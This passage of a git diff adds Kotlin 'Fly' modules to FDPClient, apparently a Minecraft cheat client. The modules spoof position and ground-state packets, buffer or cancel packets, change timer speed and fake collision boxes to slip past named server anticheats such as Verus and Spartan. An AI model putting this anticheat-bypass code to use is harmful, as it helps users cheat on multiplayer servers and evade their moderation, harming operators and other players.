net.ccbluex.liquidbounce.features.module.modules.movement.flys.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.minecraft.network.play.client.C03PacketPlayer + +class FlagFly : FlyMode("Flag") { + override fun onEnable() { + if(mc.isSingleplayer) { + FDPClient.hud.addNotification(Notification("FlagFly", "Using FlagFly in SinglePlayer will crash your client while saving world!", NotifyType.ERROR)) + fly.state = false + } + } + override fun onUpdate(event: UpdateEvent) { + if(mc.isSingleplayer) return + + mc.netHandler.addToSendQueue(C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX + mc.thePlayer.motionX * 999, mc.thePlayer.posY + (if (mc.gameSettings.keyBindJump.isKeyDown) 1.5624 else 0.00000001) - if (mc.gameSettings.keyBindSneak.isKeyDown) 0.0624 else 0.00000002, mc.thePlayer.posZ + mc.thePlayer.motionZ * 999, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX + mc.thePlayer.motionX * 999, mc.thePlayer.posY - 6969, mc.thePlayer.posZ + mc.thePlayer.motionZ * 999, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true)) + mc.thePlayer.setPosition(mc.thePlayer.posX + mc.thePlayer.motionX * 11, mc.thePlayer.posY, mc.thePlayer.posZ + mc.thePlayer.motionZ * 11) + mc.thePlayer.motionY = 0.0 + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FunCraftFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FunCraftFly.kt new file mode 100644 index 0000000..41f799c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FunCraftFly.kt @@ -0,0 +1,47 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.other + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.block.BlockAir +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.AxisAlignedBB + +class FunCraftFly : FlyMode("FunCraft") { + private val timescale = FloatValue("${valuePrefix}Timer", 1f, 0.1f, 10f) + private val timer = TickTimer() + + override fun onUpdate(event: UpdateEvent) { + fly.antiDesync = true + mc.timer.timerSpeed = timescale.get() + timer.update() + + if (timer.hasTimePassed(2)) { + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1.0E-5, mc.thePlayer.posZ) + timer.reset() + } + } + + override fun onBlockBB(event: BlockBBEvent) { + if (event.block is BlockAir && event.y <= mc.thePlayer.posY) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), event.x + 1.0, mc.thePlayer.posY, event.z + 1.0) + } + } + + override fun onJump(event: JumpEvent) { + event.cancelEvent() + } + + override fun onStep(event: StepEvent) { + event.stepHeight = 0f + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is C03PacketPlayer) { + packet.onGround = false + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/GodseyeFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/GodseyeFly.kt new file mode 100644 index 0000000..78facf0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/GodseyeFly.kt @@ -0,0 +1,82 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.client.settings.GameSettings +import kotlin.math.sqrt + +class GodseyeFly : FlyMode("Godseye") { + private val timer = MSTimer() + private var flag = false + + override fun onEnable() { + flag = false + timer.reset() + if(mc.thePlayer.onGround) { + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 2 + Math.random() / 2, mc.thePlayer.posZ, false)) + } else { + fly.state = false + } + } + + override fun onUpdate(event: UpdateEvent) { + mc.gameSettings.keyBindJump.pressed = false + mc.gameSettings.keyBindSneak.pressed = false + fly.antiDesync = true + MovementUtils.strafe((0.26 + Math.random() / 10).toFloat()) + if(mc.gameSettings.keyBindJump.pressed)/*if(GameSettings.isKeyDown(mc.gameSettings.keyBindJump))*/ { + mc.thePlayer.motionY = 0.42 + } else if(mc.gameSettings.keyBindSneak.pressed)/* if(GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) */ { + mc.thePlayer.motionY = 0.42 + } else { + mc.thePlayer.motionY = 0.0 + } + if(!MovementUtils.isMoving()) { + MovementUtils.resetMotion(false) + } + if(timer.hasTimePassed((150 + Math.random() * 50).toLong()) && MovementUtils.isMoving()) { + timer.reset() + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX , mc.thePlayer.posY , mc.thePlayer.posZ , true)) + } + } + + override fun onDisable() { + MovementUtils.resetMotion(true) + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is C03PacketPlayer) { + event.cancelEvent() + } + if(packet is S08PacketPlayerPosLook) { + if (!flag) { + val deltaX = packet.x - mc.thePlayer.posX + val deltaY = packet.y - mc.thePlayer.posY + val deltaZ = packet.z - mc.thePlayer.posZ + + if (sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ) < 10) { + event.cancelEvent() + PacketUtils.sendPacketNoEvent( + C06PacketPlayerPosLook( + packet.x, + packet.y, + packet.z, + packet.getYaw(), + packet.getPitch(), + false + ) + ) + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/JetpackFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/JetpackFly.kt new file mode 100644 index 0000000..5ee7abc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/JetpackFly.kt @@ -0,0 +1,19 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.other + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.util.EnumParticleTypes + +class JetpackFly : FlyMode("Jetpack") { + private val particleValue = BoolValue("${valuePrefix}Particle", true) + override fun onUpdate(event: UpdateEvent) { + if (mc.gameSettings.keyBindJump.isKeyDown) { + if(particleValue.get()) mc.effectRenderer.spawnEffectParticle(EnumParticleTypes.FLAME.particleID, mc.thePlayer.posX, mc.thePlayer.posY + 0.2, mc.thePlayer.posZ, -mc.thePlayer.motionX, -0.5, -mc.thePlayer.motionZ) + + mc.thePlayer.motionY += 0.15 + mc.thePlayer.motionX *= 1.1 + mc.thePlayer.motionZ *= 1.1 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/MinemoraFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/MinemoraFly.kt new file mode 100644 index 0000000..4998865 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/MinemoraFly.kt @@ -0,0 +1,107 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.other + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.client.* +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook +import java.util.concurrent.LinkedBlockingQueue + +class MinemoraFly : FlyMode("Minemora") { + private var tick = 0 + private var boost = false + private var boostGround = false + private var disableLogger = false + private val packetBuffer = LinkedBlockingQueue<Packet<INetHandlerPlayServer>>() + private val boostValue = BoolValue("Boost", false) + + override fun onEnable() { + boostGround = !mc.thePlayer.onGround + boost = false + tick = 0 + mc.gameSettings.keyBindJump.pressed = false + mc.gameSettings.keyBindSneak.pressed = false + } + override fun onDisable() { + tick = 0 + try { + disableLogger = true + while (!packetBuffer.isEmpty()) { + mc.netHandler.addToSendQueue(packetBuffer.take()) + } + disableLogger = false + } finally { + disableLogger = false + } + mc.timer.timerSpeed = 1f + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (mc.thePlayer == null || disableLogger) return + + if (packet is C03PacketPlayer) { + event.cancelEvent() + } + if (packet is C04PacketPlayerPosition || packet is C06PacketPlayerPosLook || + packet is C08PacketPlayerBlockPlacement || + packet is C0APacketAnimation || + packet is C0BPacketEntityAction || packet is C02PacketUseEntity) { + event.cancelEvent() + packetBuffer.add(packet as Packet<INetHandlerPlayServer>) + } + } + override fun onUpdate(event: UpdateEvent) { + fly.antiDesync = false + if(boost && boostValue.get()) { + MovementUtils.resetMotion(false) + repeat(10) { + mc.timer.timerSpeed = (it / 10).toFloat() + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX , mc.thePlayer.posY , mc.thePlayer.posZ , false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX , mc.thePlayer.posY , mc.thePlayer.posZ , true)) + } + + fly.state = false + } + } + override fun onMotion(event: MotionEvent) { + if (event.eventState != EventState.PRE) return + tick++ + mc.timer.timerSpeed = 1.0f + if (tick == 1) { + mc.timer.timerSpeed = 0.25f + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.42f, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + mc.thePlayer.jump() + } else { + if (MovementUtils.isMoving()) { + MovementUtils.strafe(1.7f) + } else { + MovementUtils.resetMotion(false) + } + + if (mc.gameSettings.keyBindJump.pressed) { + mc.thePlayer.motionY = 1.7 + } else if (mc.gameSettings.keyBindSneak.pressed) { + mc.thePlayer.motionY = -1.7 + if(mc.thePlayer.onGround) { + if(boostGround) { + boost = true + } else { + fly.state = false + } + } + } else { + mc.thePlayer.motionY = 0.0 + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/rewinside/TeleportRewinsideFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/rewinside/TeleportRewinsideFly.kt new file mode 100644 index 0000000..111694d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/rewinside/TeleportRewinsideFly.kt @@ -0,0 +1,21 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.rewinside + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.util.Vec3 +import kotlin.math.cos +import kotlin.math.sin + +class TeleportRewinsideFly : FlyMode("TeleportRewinside") { + override fun onUpdate(event: UpdateEvent) { + val vectorStart = Vec3(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ) + val yaw = -mc.thePlayer.rotationYaw + val pitch = -mc.thePlayer.rotationPitch + val length = 9.9 + val vectorEnd = Vec3(sin(Math.toRadians(yaw.toDouble())) * cos(Math.toRadians(pitch.toDouble())) * length + vectorStart.xCoord, sin(Math.toRadians(pitch.toDouble())) * length + vectorStart.yCoord, cos(Math.toRadians(yaw.toDouble())) * cos(Math.toRadians(pitch.toDouble())) * length + vectorStart.zCoord) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(vectorEnd.xCoord, mc.thePlayer.posY + 2, vectorEnd.zCoord, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(vectorStart.xCoord, mc.thePlayer.posY + 2, vectorStart.zCoord, true)) + mc.thePlayer.motionY = 0.0 + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/spartan/Spartan2Fly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/spartan/Spartan2Fly.kt new file mode 100644 index 0000000..42d9ac1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/spartan/Spartan2Fly.kt @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.spartan + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.network.play.client.C03PacketPlayer + +class Spartan2Fly : FlyMode("Spartan2") { + override fun onUpdate(event: UpdateEvent) { + fly.antiDesync = true + MovementUtils.strafe(0.264f) + + if (mc.thePlayer.ticksExisted % 8 == 0) { + mc.thePlayer.sendQueue.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 10, mc.thePlayer.posZ, true)) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/spartan/SpartanFastFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/spartan/SpartanFastFly.kt new file mode 100644 index 0000000..59fe30e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/spartan/SpartanFastFly.kt @@ -0,0 +1,36 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.spartan + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition + +class SpartanFastFly : FlyMode("SpartanFast") { + private val speedValue = FloatValue("${valuePrefix}Speed", 2f, 0f, 5f) + + override fun onEnable() { + repeat(65) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.049, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + } + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.1, mc.thePlayer.posZ, true)) + + mc.thePlayer.motionX *= 0.1 + mc.thePlayer.motionZ *= 0.1 + mc.thePlayer.swingItem() + } + + override fun onUpdate(event: UpdateEvent) { + fly.antiDesync = true + MovementUtils.resetMotion(true) + if (mc.gameSettings.keyBindJump.isKeyDown) { + mc.thePlayer.motionY += speedValue.get() * 0.5 + } + if (mc.gameSettings.keyBindSneak.isKeyDown) { + mc.thePlayer.motionY -= speedValue.get() * 0.5 + } + + MovementUtils.strafe(speedValue.get()) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/spartan/SpartanFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/spartan/SpartanFly.kt new file mode 100644 index 0000000..aa77e94 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/spartan/SpartanFly.kt @@ -0,0 +1,21 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.spartan + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition + +class SpartanFly : FlyMode("Spartan") { + private val timer = TickTimer() + + override fun onUpdate(event: UpdateEvent) { + fly.antiDesync = true + mc.thePlayer.motionY = 0.0 + timer.update() + if (timer.hasTimePassed(12)) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 8, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 8, mc.thePlayer.posZ, true)) + timer.reset() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBasicFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBasicFly.kt new file mode 100644 index 0000000..1c0c877 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBasicFly.kt @@ -0,0 +1,58 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.verus + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.init.Blocks +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement + +class VerusBasicFly : FlyMode("VerusBasic") { + private val verusMode = ListValue("${valuePrefix}Mode", arrayOf("Packet1", "Packet2"), "Packet1") + private var jumped = false + override fun onEnable() { + jumped = false + sendLegacy() + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if(packet is C03PacketPlayer) { + if(verusMode.get() === "Packet1") { + packet.onGround = true + } + } + } + + override fun onUpdate(event: UpdateEvent) { + if(verusMode.get() === "Packet1") { + if(mc.thePlayer.motionY < 0.4) { + mc.thePlayer.motionY = 0.0 + } + mc.thePlayer.onGround = true + } + } + override fun onMove(event: MoveEvent) { + if(verusMode.get() === "Packet2") { + val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) + PacketUtils.sendPacketNoEvent( + C08PacketPlayerBlockPlacement(pos, 1, + ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F) + ) + if(mc.thePlayer.onGround && !jumped) { + mc.thePlayer.jump() + event.y = 0.42 + jumped = true + }else { + event.y = 0.0 + MovementUtils.strafe(0.35f) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBoostFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBoostFly.kt new file mode 100644 index 0000000..1a2ea16 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusBoostFly.kt @@ -0,0 +1,201 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.verus + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.init.Blocks +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.network.play.client.C0BPacketEntityAction +import kotlin.math.floor + +class VerusBoostFly : FlyMode("VerusBoost") { + private val speedValue = FloatValue("${valuePrefix}Speed", 1.5f, 0f, 10f) + private val boostModeValue = ListValue("${valuePrefix}BoostMode", arrayOf("Boost1", "Boost2", "Boost3"), "Boost1") + private val reDamageValue = BoolValue("${valuePrefix}Boost3-ReDamage", true).displayable { boostModeValue.equals("Boost3") } + + private var ticks = 0 + private var ticks2 = 0 + + override fun onEnable() { + ticks = 0 + ticks2 = 1 + } + + override fun onMove(event: MoveEvent) { + when (boostModeValue.get()) { + "Boost1" -> { + val speed = speedValue.get() + val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) + PacketUtils.sendPacketNoEvent( + C08PacketPlayerBlockPlacement(pos, 1, + ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F) + ) + if (ticks < 3) + event.cancelEvent() + if(ticks > 4) + mc.thePlayer.motionY = 0.0684 + if(ticks <= 25) { + mc.timer.timerSpeed = 0.8f + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + MovementUtils.strafe(speed) + }else { + MovementUtils.strafe(0.29F) + } + } + + "Boost2" -> { + if(ticks < 3) { + event.cancelEvent() + } + if(ticks == 3) { + val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) + PacketUtils.sendPacketNoEvent( + C08PacketPlayerBlockPlacement(pos, 1, + ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F) + ) + val x = mc.thePlayer.posX + val y = mc.thePlayer.posY + val z = mc.thePlayer.posZ + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C06PacketPlayerPosLook(x, y+3+Math.random()*0.07, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, false)) + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, false)) + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, true)) + mc.timer.timerSpeed = 0.25f + } + if(mc.thePlayer.hurtTime > 2) { + mc.thePlayer.motionY += 0.4f + event.y = mc.thePlayer.motionY + mc.timer.timerSpeed = 1.0f + MovementUtils.strafe(speedValue.get()) + } + if(mc.thePlayer.hurtTime == 3) mc.thePlayer.motionY = 0.42 + + if(mc.thePlayer.hurtTime == 0) { + MovementUtils.strafe(0.36F) + if(mc.thePlayer.fallDistance > 0) mc.thePlayer.motionY = 0.0 + } + } + } + } + + override fun onUpdate(event: UpdateEvent) { + if(boostModeValue.get() === "Boost3") { + if (ticks2 == 1) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY + 3.42, + mc.thePlayer.posZ, + false + ) + ) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + false + ) + ) + mc.netHandler.addToSendQueue( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.timer.timerSpeed = 0.15f + mc.thePlayer.jump() + mc.thePlayer.onGround = true + } else if (ticks2 == 2) { + mc.timer.timerSpeed = 1f + } + + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + + if (mc.thePlayer.fallDistance > 1) { + mc.thePlayer.motionY = -((mc.thePlayer.posY) - floor(mc.thePlayer.posY)) + } + + if (mc.thePlayer.motionY == 0.0) { + mc.thePlayer.jump() + + mc.thePlayer.onGround = true + mc.thePlayer.fallDistance = 0f + } + + if (ticks2 < 25) { + MovementUtils.strafe(speedValue.get()) + } else { + if (ticks2 == 25){ + MovementUtils.strafe(0.48f) + } + if (reDamageValue.get()) { + ticks2 = 1 + } + MovementUtils.strafe() + } + + ticks2 ++ + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + when (boostModeValue.get()) { + "Boost1", "Boost2" -> { + if (packet is C03PacketPlayer && ticks < 3) { + packet.onGround = true + } + } + } + } + + override fun onMotion(event: MotionEvent) { + when (boostModeValue.get()) { + "Boost1" -> { + if(!event.isPre()) + return + ticks++ + if(ticks == 3) { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+3.25,mc.thePlayer.posZ,false)) + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY,mc.thePlayer.posZ,false)) + PacketUtils.sendPacketNoEvent(C03PacketPlayer(true)) + mc.timer.timerSpeed = 0.4f + mc.thePlayer.jump() + }else { + if(ticks == 4) mc.thePlayer.motionY += 0.3 + } + } + + "Boost2" -> { + if(!event.isPre()) return + + ticks++ + } + } + } + + override fun onJump(event: JumpEvent) { + if(boostModeValue.get() === "Boost1") event.cancelEvent() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusCollideFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusCollideFly.kt new file mode 100644 index 0000000..6c7438b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusCollideFly.kt @@ -0,0 +1,57 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.verus + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.block.BlockAir +import net.minecraft.client.settings.GameSettings +import net.minecraft.util.AxisAlignedBB +import kotlin.math.floor + +class VerusCollideFly : FlyMode("VerusCollide") { + private var ticks = 0 + private var justEnabled = true + + override fun onEnable() { + ticks = 0 + justEnabled = true + sendLegacy() + } + + override fun onMove(event: MoveEvent) { + mc.gameSettings.keyBindJump.pressed = false + mc.gameSettings.keyBindSneak.pressed = false + if (ticks % 14 == 0 && mc.thePlayer.onGround) { + justEnabled = false + MovementUtils.strafe(0.69f) + event.y = 0.42 + ticks = 0 + mc.thePlayer.motionY = -(mc.thePlayer.posY - floor(mc.thePlayer.posY)) + } else { + if (GameSettings.isKeyDown(mc.gameSettings.keyBindJump) && ticks % 2 == 1) { + if (mc.thePlayer.ticksExisted % 2 == 0) { + mc.thePlayer.motionY = 0.42 + MovementUtils.strafe(0.3f) + } + } + if (mc.thePlayer.onGround) { + if (!justEnabled) { + MovementUtils.strafe(1.01f) + } + } else { + MovementUtils.strafe(0.41f) + } + } + ticks++ + } + + override fun onBlockBB(event: BlockBBEvent) { + if (event.block is BlockAir && event.y <= fly.launchY) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), event.x + 1.0, fly.launchY, event.z + 1.0) + } + } + + override fun onJump(event: JumpEvent) = event.cancelEvent() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusCustomFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusCustomFly.kt new file mode 100644 index 0000000..d0bdcc6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusCustomFly.kt @@ -0,0 +1,54 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.verus + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.block.BlockAir +import net.minecraft.stats.StatList +import net.minecraft.util.AxisAlignedBB + +class VerusCustomFly : FlyMode("VerusCustom") { + + private val airSpeedValue = FloatValue("${valuePrefix}AirSpeed", 0.5f, 0f, 1f) + private val groundSpeedValue = FloatValue("${valuePrefix}GroundSpeed", 0.42f, 0f, 1f) + private val hopDelayValue = IntegerValue("${valuePrefix}HopDelay", 3, 0, 10) + private val onlyOnGround = BoolValue("${valuePrefix}OnlyEnableOnGround", true) + + private var waitTicks = 0 + + override fun onEnable() { + if (!mc.thePlayer.onGround && onlyOnGround.get()) return + waitTicks = 0 